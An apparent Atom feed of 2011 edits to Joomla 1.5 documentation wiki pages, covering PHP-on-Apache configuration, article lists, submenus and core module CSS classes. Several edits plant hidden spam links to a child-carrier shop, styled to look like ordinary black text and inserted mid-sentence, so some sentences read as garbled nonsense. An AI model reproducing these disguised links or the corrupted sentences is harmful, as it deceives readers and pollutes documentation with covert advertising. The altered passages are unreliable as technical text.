[http://www.joomlatutorials.com/faq/60.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &#039;&#039;&#039;indirect method&#039;&#039;&#039;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server&lt;br /&gt;
configurations, it will help those wishing to cause your site harm&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== How to... ==&lt;br /&gt;
&#039;&#039;&#039;For those wishing to know more about &amp;quot;How To...&amp;quot;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Running PHP as an Apache module ===&lt;br /&gt;
&lt;br /&gt;
To configure Apache to load PHP as a module to &#039;&#039;&#039;parse&#039;&#039;&#039; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;quot; or &amp;quot;/etc/httpd/conf/&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;quot;LoadModule&amp;quot; statements. (Statements prefixed by the hash &amp;quot;#&amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;quot;Apache Module&amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php4_module &amp;quot;c:/php/php4apache.dll&amp;quot;&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache 1.x ====&lt;br /&gt;
&lt;br /&gt;
===== For PHP5 =====&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php5_module C:/php/php5apache2.dll&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;or (platform dependent)&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php5_module /usr/lib/apache/libphp5.so&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;and&#039;&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;AddModule mod_php5.c&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== For PHP4 =====&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php4_module libexec/libphp4.so&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;or (platform dependent)&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php4_module C:/php/php4apache.dll&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;and&#039;&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;AddModule mod_php4.c&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache 2.x ====&lt;br /&gt;
&lt;br /&gt;
===== For PHP5 =====&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php5_module C:/php/php5apache2.dll&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;or (platform dependent)&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php5_module /usr/lib/apache/libphp5.so&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;and&#039;&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;AddModule mod_php5.c&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== For PHP4 =====&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php4_module libexec/libphp4.so&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;or (platform dependent)&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;LoadModule php4_module C:/php/php4apache.dll&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;and&#039;&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;AddModule mod_php4.c&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Note ====&lt;br /&gt;
&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;quot;mod_php4.c&amp;quot; or &amp;quot;mod_php5.c&amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;quot;AddType&amp;quot; section in the file, and add the following line after the last &amp;quot;AddType&amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;AddType application/x-httpd-php .php&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;quot;.php3&amp;quot; and &amp;quot;.phtml&amp;quot;, simply add them to the list, like this:&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&lt;br /&gt;
AddType application/x-httpd-php .phtml&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&lt;br /&gt;
&lt;br /&gt;
=== Running PHP as a CGI binary ===&lt;br /&gt;
&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the httpd.conf, but confirm that the above settings are not also configured, unless you know what you are doing you can generate yourself &amp;quot;HTTP 500&amp;quot; errors. Search your Apache configuration file for the &amp;quot;ScriptAlias&amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;quot;cgi-bin&amp;quot;.&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The location will depend on where PHP is installed on your system, you should substitute the appropriate path in place of &amp;quot;c:/php/&amp;quot; (for example, &amp;quot;c:/Program Files/php/&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;ScriptAlias /php/ &amp;quot;c:/php/&amp;quot;&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache again needs to be configured for the PHP MIME type. Search for the &amp;quot;AddType&amp;quot; section, and add the following line after it:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;AddType application/x-httpd-php .php&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&lt;br /&gt;
AddType application/x-httpd-php .phtml&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;quot;Action&amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;Action application/x-httpd-php &amp;quot;/php/php.exe&amp;quot;&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;quot;ScriptAlias&amp;quot; reference, &amp;quot;/php/&amp;quot; portion will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &#039;&#039;In other words, don&#039;t put &amp;quot;c:/php/php.exe&amp;quot; or &amp;quot;c:/Program Files/php/php.exe&amp;quot; in that directive, put &amp;quot;/php/php.exe&amp;quot;, Apache WILL work it out if correctly configured.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Configuring the Default Index Page ===&lt;br /&gt;
&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;quot;httpd.conf&amp;quot;. Simply search for the line in the file that begins with a &amp;quot;DirectoryIndex&amp;quot; and add &amp;quot;index.php&amp;quot; to the list of files on that line. For example, if the line used to be:&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;DirectoryIndex index.html&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;change it to the following if you still wish .html files to be executed before .php files&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;DirectoryIndex index.html index.php&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;or change it to the following if you wish .php files to be executed before .html files&#039;&#039;&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;DirectoryIndex index.php index.html&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a filename, Apache will &amp;quot;auto-magically&amp;quot; deliver &amp;quot;index.php&amp;quot; if available, or &amp;quot;index.html&amp;quot; if &amp;quot;index.php&amp;quot; is not available.&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Administration FAQ]]&lt;br /&gt;
[[Category:Installation FAQ]]&lt;br /&gt;
[[Category:Upgrading and Migrating FAQ]]&lt;br /&gt;
[[Category:Version 1.5 FAQ]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Inserting_a_list_into_an_Article&amp;diff=62338</id>
		<title>Inserting a list into an Article</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Inserting_a_list_into_an_Article&amp;diff=62338"/>
		<updated>2011-09-26T18:48:24Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Review}}&lt;br /&gt;
Ordered and un-ordered lists are a very common way of presenting information. To add a list to an article.&lt;br /&gt;
#Open the Article for editing either by:&lt;br /&gt;
#* Click the &#039;&#039;&#039;Content &amp;gt; Article Manager&#039;&#039;&#039; menu item to go to the &#039;&#039;Article Manager&#039;&#039;, select the Article and click the &#039;&#039;Edit&#039;&#039; toolbar button.&lt;br /&gt;
#* Clicking the &#039;&#039;Add New Article&#039;&#039; button in the Control Panel.&lt;br /&gt;
#* If logged in to the Front-end, you have appropriate permissions and are viewing the Article you wish to edit: Click the &#039;&#039;Edit&#039;&#039; toolbar button. &lt;br /&gt;
#Locate the position in the article where you want to insert a list with the cursor.&lt;br /&gt;
#Choose either the &#039;&#039;Ordered list&#039;&#039; or &#039;&#039;Unordered list&#039;&#039; editor toolbar button.&lt;br /&gt;
#*The default ordered list begins with the numeral &#039;&#039;1.&#039;&#039; and the unordered list starts with a bullet point.&lt;br /&gt;
#Type enter to create a new line and number/bullet.&lt;br /&gt;
#Type enter twice to finish the list or start a new line and click the &#039;&#039;Ordered List&#039;&#039; or &#039;&#039;Unordered List&#039;&#039; editor toolbar button.&lt;br /&gt;
&lt;br /&gt;
Note the following:&lt;br /&gt;
*Change the list type part way through by clicking the alternate button.&lt;br /&gt;
*If you create a new ordered list later in your article the numbering will restart from 1. &lt;br /&gt;
*Use the &#039;&#039;Indent&#039;&#039; and &#039;&#039;Outdent&#039;&#039; editor toolbar buttons to create child lists. &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;child carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; You may change the type of the child list by clicking the alternate button.&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Creating_a_submenu&amp;diff=62337</id>
		<title>J1.5:Creating a submenu</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Creating_a_submenu&amp;diff=62337"/>
		<updated>2011-09-26T18:48:22Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In Joomla!, submenus can be shown either as one menu with two or more levels or as completely separate menu modules. To show how to do this, we will step through creating a two-level menu and then see how to show it either as one large menu or as separate parent and child menus.&lt;br /&gt;
&lt;br /&gt;
==Example Data==&lt;br /&gt;
In our example, we will create a menu called &amp;quot;Pets&amp;quot;. It will have two top-level menu items called &amp;quot;Dogs&amp;quot; and &amp;quot;Cats&amp;quot;. Under Dogs, we will have &amp;quot;Collies&amp;quot; and &amp;quot;Greyhounds&amp;quot;. Under Cats we will have &amp;quot;Tabbies&amp;quot; and &amp;quot;Siamese&amp;quot;. So the structure of the Pets menu will be as follows:&lt;br /&gt;
*Dogs&lt;br /&gt;
**Collies&lt;br /&gt;
**Greyhounds&lt;br /&gt;
*Cats&lt;br /&gt;
**Tabbies&lt;br /&gt;
**Siamese&lt;br /&gt;
&lt;br /&gt;
==Menu and Menu Items==&lt;br /&gt;
To create this structure, we create one menu with two levels of Menu Items. Note that we do this whether we want to have everything shown as one large menu or whether we want to create separate menu modules (one parent menu and two child menus). We&#039;ll see how to do this later on, when we create the modules.&lt;br /&gt;
&lt;br /&gt;
Here are the steps to create the Menu and Menu Items.&lt;br /&gt;
# Create a new Menu in the Menu Manager called &amp;quot;Pets&amp;quot;. &lt;br /&gt;
# Add a new Menu Item called &amp;quot;Dogs&amp;quot;. For this example, we don&#039;t really care what the type of the Menu Items is. For example, you can just create one article called &amp;quot;Pet Menu Test&amp;quot; and then create all of the Menu Items as type &#039;&#039;&#039;Article &amp;amp;amp;rarr; Article Layout&#039;&#039;&#039; and point to this article.&lt;br /&gt;
# Add a second Menu Item called &amp;quot;Collies&amp;quot; (again, Menu Type of Article Layout as above). In the Parent Item box, select &amp;quot;Dogs&amp;quot;, as shown below: [[Image:submenu_example1.png|frame|center]]&lt;br /&gt;
# Add a third Menu Item called &amp;quot;Greyhounds&amp;quot;, again making &amp;quot;Dogs&amp;quot; the Parent Item. (Remember, these can all point to the same article.)&lt;br /&gt;
# Add the &amp;quot;Cats&amp;quot; Menu Item. Be sure to make the Parent Item for this &amp;quot;Top&amp;quot;.&lt;br /&gt;
# Add the last two Menu Items, &amp;quot;Tabbies&amp;quot; and &amp;quot;Siamese&amp;quot;, making &amp;quot;Cats&amp;quot; the Parent Item for both.&lt;br /&gt;
&lt;br /&gt;
When you get done, the Menu Item Manager should look like the following:[[Image:submenu_example2.png|frame|center]]&lt;br /&gt;
&lt;br /&gt;
==Menu Modules==&lt;br /&gt;
At this point, we&#039;ve got the Menu and Menu Items done. Now we need to create the Menu Modules. In Joomla!, the Menu Module determines three main things: (1) what the &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;kid carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; menu looks like; (2) where on the page it will show; and (3) on which pages it will show. We will do two examples. In the first example, we will create one Menu Module that shows all of the items in one menu. In the second, we will create three separate menu modules to show the Pets, Dogs, and Cats menus as separate modules.&lt;br /&gt;
&lt;br /&gt;
===One Menu Module===&lt;br /&gt;
To show this as one module, follow these steps:&lt;br /&gt;
# Navigate to Extensions &amp;amp;amp;rarr; Module Manager, click the &amp;quot;New&amp;quot; icon in the toolbar, and select &amp;quot;Menu&amp;quot;.&lt;br /&gt;
# Enter the Title as &amp;quot;Pets Menu&amp;quot; and Position as &amp;quot;left&amp;quot;.&lt;br /&gt;
# In the Menu Assignment, enter &amp;quot;Select Menu Item(s) from the List&amp;quot; and select &amp;quot;Home&amp;quot; (under &amp;quot;mainmenu&amp;quot;), and all of the Menu Items under the &amp;quot;pets-menu&amp;quot;.&lt;br /&gt;
# In Menu Name, select &amp;quot;pets-menu&amp;quot; from the drop-down list box. &lt;br /&gt;
# If you are using the default &amp;quot;rhuk_milkyway&amp;quot; template and want the menu to look like the other menus, in the Advanced Parameters enter &amp;quot;_menu&amp;quot; for Module Class Suffix.&lt;br /&gt;
&lt;br /&gt;
Now, navigate to the front-end home page. You should see the Pets Menu as shown below:[[Image:submenu_example3.png|frame|center]]Click on the Dogs Menu Item. The selected article displays and the Dogs menu expands to show the two submenu items, Collies and Greyhounds. Note that we can set a parameter in the Module Manager to always show submenu items. Here we have taken the default value of &amp;quot;No&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
Click on &amp;quot;Collies&amp;quot; and again the article changes. (Or it would if we had different articles for each Menu Item!) The screen should look like the one below: [[Image:submenu_example4.png|frame|center]]&lt;br /&gt;
&lt;br /&gt;
Notice that the Breadcrumbs now shows three levels: Home, Dogs, Collies. Because we used submenus, Joomla! &amp;quot;knows&amp;quot; that Collies is under Dogs.&lt;br /&gt;
&lt;br /&gt;
===Separate Menu Modules===&lt;br /&gt;
Now we will change our example to create three separate menus -- one for the top level (Dogs and Cats), one for the Dogs (Collies and Greyhounds), and one for the Cats (Tabbies and Siamese). &lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;blockquote&amp;gt;&#039;&#039;Note: Make sure that your Menu Items each have a unique Alias value. If you use the Copy command in the toolbar of the Menu Item Manager to create these Menu Items, the Alias will be the same as the item being copied. In this case, just edit the Alias value to make it unique (for example, the same as the Title). If you have duplicate Alias values, the menus will not work correctly if the parameter SEF URLs is set to Yes in Global Configuration.&#039;&#039;&amp;amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To do this:&lt;br /&gt;
# Open the Pets Menu in the Module Manager and change the Title to &amp;quot;Pets Menu Top Level Only&amp;quot;.&lt;br /&gt;
# Select the Left Position.&lt;br /&gt;
# Under Module Parameters, select the Menu Name &amp;quot;Pets Menu&amp;quot;&lt;br /&gt;
# Under Module Parameters, change the Menu Style to &amp;quot;List&amp;quot;.&lt;br /&gt;
# Set the Start Level to &amp;quot;0&amp;quot; and the End Level to &amp;quot;1&amp;quot;.&lt;br /&gt;
# &#039;&#039;This is optional. It allows your template to apply special a menu style to the menu (a border, for example).&#039;&#039; In Advanced Module Parameters put &amp;quot;_menu&amp;quot; in Module Class Suffix.&lt;br /&gt;
# For submenu Dog, in extensions menu select Module Manager, click New and select Menu, and set the title to &amp;quot;Dogs Submenu&amp;quot;.&lt;br /&gt;
# Set the Position to &amp;quot;Left&amp;quot;.&lt;br /&gt;
# &#039;&#039;Now this part is very important.&#039;&#039; We only want this submenu to show when we are in one of the Dogs Menu Items. So, in the Menu Assignment box, select the three items &amp;quot;Dogs&amp;quot;, &amp;quot;Collies&amp;quot;, and &amp;quot;Greyhounds&amp;quot;, as shown below: [[Image:submenu_example5.png|frame|center]]&lt;br /&gt;
# Under Module Parameters, select the menu name &amp;quot;Pets Menu&amp;quot; and change the Menu Style to &amp;quot;List&amp;quot;.&lt;br /&gt;
# Set the Start Level to &amp;quot;1&amp;quot; and End Level &amp;quot;2&amp;quot;.&lt;br /&gt;
# &#039;&#039;This is optional.&#039;&#039; In Advanced Module Parameters, set Module Class Suffix to &amp;quot;_menu&amp;quot;.&lt;br /&gt;
# For the &amp;quot;Cats Submenu&amp;quot;, repeat steps from 7 to 12 except step 9. In the Menu Assignment box, select the items &amp;quot;Cat&amp;quot;, &amp;quot;Tabbies&amp;quot; and &amp;quot;Siamese&amp;quot; (so this menu will only show under these Menu Items).&lt;br /&gt;
&lt;br /&gt;
At this point, we have three menu modules all pointing to the Pets Menu. The only differences between them are (1) the Start and End Levels and (2) the Menu Item Assignment. &lt;br /&gt;
&lt;br /&gt;
Now, in the front end, navigate to the Home page. The &amp;quot;Pets Menu Top Level Only&amp;quot; menu should show. Select the &amp;quot;Dogs&amp;quot; Menu Item. Now, the &amp;quot;Dogs Submenu&amp;quot; should show as a separate menu, as shown below:[[Image:submenu_example7.png|frame|center]]&lt;br /&gt;
&lt;br /&gt;
Click on the Collies Menu Item and notice that again the Breadcrumbs shows the hierarchy of &amp;quot;Home&amp;quot;, &amp;quot;Dogs&amp;quot;, and &amp;quot;Collies&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Using this same technique, it is easy to create third-level submenus. You just make the Parent Menu Item a second-level submenu. Then you could use the same technique to create a separate Menu Module with Start Level of 2 and End Level of 3. This would show only the third-level Menu Items.&lt;br /&gt;
&lt;br /&gt;
[[Category:Tutorials]]&lt;br /&gt;
[[Category:Menu Management]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Core_module-generated_CSS&amp;diff=62335</id>
		<title>J1.5:Core module-generated CSS</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Core_module-generated_CSS&amp;diff=62335"/>
		<updated>2011-09-26T18:48:16Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The following information is gathered from the default output for Joomla! 1.5 core modules and assumes that no template overrides are in place.&lt;br /&gt;
&lt;br /&gt;
Note also that core , as generated &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;child carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; by the &#039;&#039;System&#039;&#039; template, will wrap a module in a defined manner and in some instances apply .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_archive&#039;&#039;&#039;&lt;br /&gt;
: None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_banners&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.bannergroup&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;div&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.bannerheader&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;div&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of header text if it exists&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.banneritem&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;div&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; for each item&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.bannerfooter&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;div&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of footer text if it exists&lt;br /&gt;
&lt;br /&gt;
		&lt;br /&gt;
&#039;&#039;&#039;mod_breadcrumb&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.breadcrumbs&amp;amp;lt;/code&amp;gt; class applied to a &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;span&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; element that holds the path links&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.pathway&amp;amp;lt;/code&amp;gt; class applied to a &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;span&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; element that holds the path links&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.pathway&amp;amp;lt;/code&amp;gt; class is also applied to each link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_feed&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.moduletable&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of no set width&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.newsfeed&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.newsfeed_item&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;div&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; element that holds feed item&#039;s description under the title.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_footer&#039;&#039;&#039;&lt;br /&gt;
: None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_latestnews&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.latestnews&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;, to each &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;li&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; and to each link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_login&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#form-login&amp;amp;lt;/code&amp;gt; id applied to main container &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;form&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#form-login-username&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;p&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#modlgn_username&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#form-login-password&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;p&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#modlgn_password&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#form-login-remember&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;p&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#modlgn_password&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
